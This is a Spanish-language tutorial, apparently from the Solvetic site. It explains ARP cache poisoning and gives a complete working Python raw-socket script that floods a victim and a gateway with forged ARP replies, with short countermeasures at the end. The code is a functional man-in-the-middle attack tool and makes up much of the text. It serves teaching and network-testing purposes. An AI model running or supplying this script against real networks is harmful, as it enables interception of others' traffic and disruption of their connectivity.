Cargando



Ataque ARP poisoning con raw sockets en Python

En este tutorial se ve cómo realizar una posible implementación del ataque ARP poisoning utilizando raw sockets en Python y contramedidas para evitarlo.


jun 21 2016 13:15
Avanzado
jun 21 2016 17:39

Hoy te voy a enseñar cómo implementar un ataque ARP poisoning (Envenenamiento de caches ARP). Para ello utilizaré raw sockets en Python, el objetivo es ver cómo funcionan este tipo de sockets, que aprendas como funciona este ataque o que puedas realizar pruebas en tu red (aunque para eso ya existen herramientas por la red), no que lo utilices con fines maliciosos.

 

Nota
Con scapy puedes implementar de manera más rápida y sencilla este trabajo, pero viendo este tutorial podrás utilizar los conocimientos para usar la librería y hacerlo tú mismo, si lo hiciéramos al revés te costaría más. El método mostrado aquí solo sirve en sistemas Linux.

 

Pequeños detalles que deberías conocer

ARP
Es el protocolo de resolución de direcciones que se encuentra en la capa de red. Su misión es encontrar la dirección MAC (dirección física) que corresponde a una dirección IP específica (dirección de red).

Caches ARP
Cada dispositivo cuenta con una pequeña memoria donde almacena las traducciones MAC – IP, de ésta nos vamos a aprovechar en este ataque. Existe esta cache porque evita la sobrecarga de pedir la traducción cada vez que nos conectamos con otro dispositivo.

 

El funcionamiento del protocolo ARP es sencillo, cuando tu mandas un paquete a alguien, se comprobará la cache del dispositivo, si existe esa traducción la tomará para enviar el paquete, si no existe ARP enviará un paquete broadcast (es especial, tiene la dirección MAC de destino ff:ff:ff:ff:ff:ff), este paquete llegará a todos los dispositivos de la red, y “preguntará” quién tiene la dirección IP buscada, cada dispositivo al ver la MAC especial leerá el paquete, y solo el que tenga la dirección IP buscada contestará indicando su MAC, en ese momento se almacenará en la cache, para no tener que volver a preguntar en los próximos minutos.

 

El ataque ARP poisoning es utilizado para espiar los datos que pasan por una red, o también podemos usarlo para que los datos no lleguen a los destinos a los que se dirigen. Este ataque consiste en mandar constantemente paquetes ARP a la red indicando que nuestra MAC corresponde a la IP de la víctima y que nuestra MAC está asociada a la IP del router. Debemos mandar los paquetes constantemente debido a que es un protocolo dinámico, por lo que la cache va cambiando, puede ser que la traducción se borre, se actualice con los datos reales, entonces para asegurarnos mandamos paquetes cada poco tiempo, no son muy pesados, por lo que normalmente no van a sobrecargar la red.

 

Nota
ARP es un protocolo que solo se usa en IPv4, por lo tanto este ataque no vale para IPv6, pero el ataque de envenenamiento se puede hacer aprovechándose de otro protocolo, como es el NDP, que sirve para descubrir “vecinos” en una red.

 

Para comenzar nuestro ejemplo necesitamos saber las direcciones IP de la víctima y de la puerta de enlace del router, así como su MAC, puedes utilizar nmap para descubrir los dispositivos activos en tu red, y la MAC la puedes obtener de manera fácil, por ejemplo queremos envenenar la cache de la dirección 192.168.66.2, que va a ser mi víctima (una máquina virtual), voy a ejecutar lo siguiente en la cmd o terminal:

Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
El -c y -n indica que se envíe un solo paquete, cada sistema operativo tiene un parámetro diferente. Posteriormente ponemos:
arp -a
Nos va a indicar la cache ARP, por lo tanto podemos ver las traducciones que tenemos almacenadas (y al haber hecho un ping anteriormente ya tenemos la traducción con la víctima). Tenemos que hacer lo mismo con la puerta de enlace del router:

 

arpPoisoning1.jpg

 

A continuación voy a poner todos los datos que tenemos para tenerlos mano:

  • Víctima -> 192.168.66.2 / MAC: 00:50:56:e3:d1:75
  • Router -> IP: 192.168.66.1 / MAC: 00:50:56:c0:00:08
  • Mi PC -> IP: 192.168.66.128 / MAC: 00:0c:29:5e:cb:5f

 

Pongo el código completo y lo explico más abajo, funciona para Python en su versión 2.x, pero con pequeños cambios lo puedes adaptar a la versión 3.x:

import socket
import time, struct, binascii

conexion = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
conexion.bind(("ens33", socket.htons(0x0800)))
macOrigen =  "\x00\x0c\x29\x5e\xcb\x5f" 
macVictima = "\x00\x50\x56\xe3\xd1\x75"    
macRouter = "\x00\x50\x56\xc0\x00\x08"
codigo ="\x08\x06"
paqueteComun =  macOrigen + codigo
eth1 = macVictima + paqueteComun
eth2 = macRouter + paqueteComun
tipoHardware = "\x00\x01"
tipoProtocolo = "\x08\x00"
longitudHardware = "\x06"
longitudProtocolo = "\x04"
codigoOperacion = "\x00\x02"
cabeceraCompartida = tipoHardware+tipoProtocolo+longitudHardware+longitudProtocolo+codigoOperacion+macOrigen
ipRouter = socket.inet_aton("192.168.66.1")
ipVictima = socket.inet_aton("192.168.66.2")
arpVictima = eth1 + cabeceraCompartida + ipRouter + macVictima + ipVictima
arpRouter = eth2 + cabeceraCompartida  + ipVictima + macRouter + ipRouter

print("Envenenando caches... para parar CTRL + C")
while True:
    conexion.send(arpRouter)
    conexion.send(arpVictima)
    time.sleep(1)
Lo primero que hacemos es importar las librerías necesarias, que no necesita mayor explicación. Sigamos con las siguientes líneas:
conexion = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
conexion.bind(("ens33", socket.htons(0x0800)))
La primera línea crea un socket, con las siguientes características:
  • PF_PACKET: Para enviar y recibir paquetes a bajo nivel.
  • SOCK_RAW: Para utilizar raw sockets.
  • socket.htons(0x0800): El 0x0800 nos va a definir el protocolo ETH_P_IP, la función ntohs convierte del formato de red a bytes en el formato adecuado para nuestro computador (s significa short, es decir 16 bits, si tuviera una l, serían 32 bits).

 

Y la segunda se va a encargar de poner a "escuchar" al socket:

  • ens33: es la interfaz de red donde vamos a trabajar, la tuya puede ser eth0, si usas un ifconfig lo veras (mirar imagen de abajo).
  • socket.htons(0x800): lo mismo que se ha dicho antes.

 

ifconfig.jpg

 

Las líneas que vemos a continuación van a crear las cabeceras de Ethernet, para ello establecemos las MAC, y el código (el que ponemos pertenece al protocolo ARP), si quieres saber más sobre Ethernet pincha aquí:

macOrigen =  "\x00\x0c\x29\x5e\xcb\x5f" 
macVictima = "\x00\x50\x56\xe3\xd1\x75"    
macRouter = "\x00\x50\x56\xc0\x00\x08"
codigo ="\x08\x06"
paqueteComun =  macOrigen + codigo
eth1 = macVictima + paqueteComun
eth2 = macRouter + paqueteComun
La siguiente parte del código monta los paquetes ARP, para consultar la estructura puedes visitar el siguiente enlace y dirígete a la sección de estructura del paquete. El código de operación \x00\x02 es para indicar que es un paquete de respuesta (si fuera 1 sería de petición), y la función socket.inet_aton() convierte una dirección IPv4 a formato binario de 32 bits. Como has podido ver en el código anterior y ves ahora para ir creando un paquete vamos concatenando sus partes.
tipoHardware = "\x00\x01"
tipoProtocolo = "\x08\x00"
longitudHardware = "\x06"
longitudProtocolo = "\x04"
codigoOperacion = "\x00\x02"
cabeceraCompartida = tipoHardware+tipoProtocolo+longitudHardware+longitudProtocolo+codigoOperacion+macOrigen
ipRouter = socket.inet_aton("192.168.66.1")
ipVictima = socket.inet_aton("192.168.66.2")
arpVictima = eth1 + cabeceraCompartida + ipRouter + macVictima + ipVictima
arpRouter = eth2 + cabeceraCompartida  + ipVictima + macRouter + ipRouter
La última parte del código muestra un mensaje para saber que está trabajando y entra en un bucle infinito que irá mandando paquetes para envenenar las caches de nuestra víctima y la puerta de enlace del router, esto lo hace cada segundo ya que tenemos un sleep.
print("Envenenando caches... para parar CTRL + C")
while True:
    conexion.send(arpRouter)
    conexion.send(arpVictima)
    time.sleep(1)
Vamos a ver cómo se ve la ejecución del programa (tenemos que ejecutarlo como usuario root):

 

funcionandoPoisoning.jpg

 

Y si miramos la cache de la víctima, podemos ver que su dirección IP ahora está asociada a la MAC del atacante:

 

cacheEnvenenada.jpg

 

Contramedidas
  • Usar tablas ARP estáticas, añadimos nosotros a mano las entradas y no las dejamos variar.
  • Consultar ARP inverso, este protocolo nos devolverá la dirección IP a partir de una MAC, así que si nos devuelve más de una dirección IP, es probable que nos hayan hecho spoofing.

 

Estás medidas requieren de un mínimo de conocimientos, por lo que no todo el mundo podrá llevarlo a cabo, pero consultando en nuestra sección de preguntas o tutoriales de Seguridad IT seguro que encuentras ayuda.

 

Por si quieres el código aquí te dejo un zip:

 

Descargar código
Fichero Adjunto  ArpPoisoning.zip   579 bytes   169 Descargas


¿Te ayudó este Tutorial?


2 Comentarios


Pablo Santos
jun 21 2016 17:45

Obra maestra Josué. Te sigo experto en Sec. IT. Buen tutorial de ARP Poisoning, lo dejo en favoritos.

Gracias por compartirlo Josue. Me ha encantado y de este tipo mucho, aunque hay partes que no me entero (porque no soy tan bueno jeje)

No esperes más y entra en Solvetic
Deja tus comentarios y aprovecha las ventajas de la cuenta de usuario ¡Únete!

X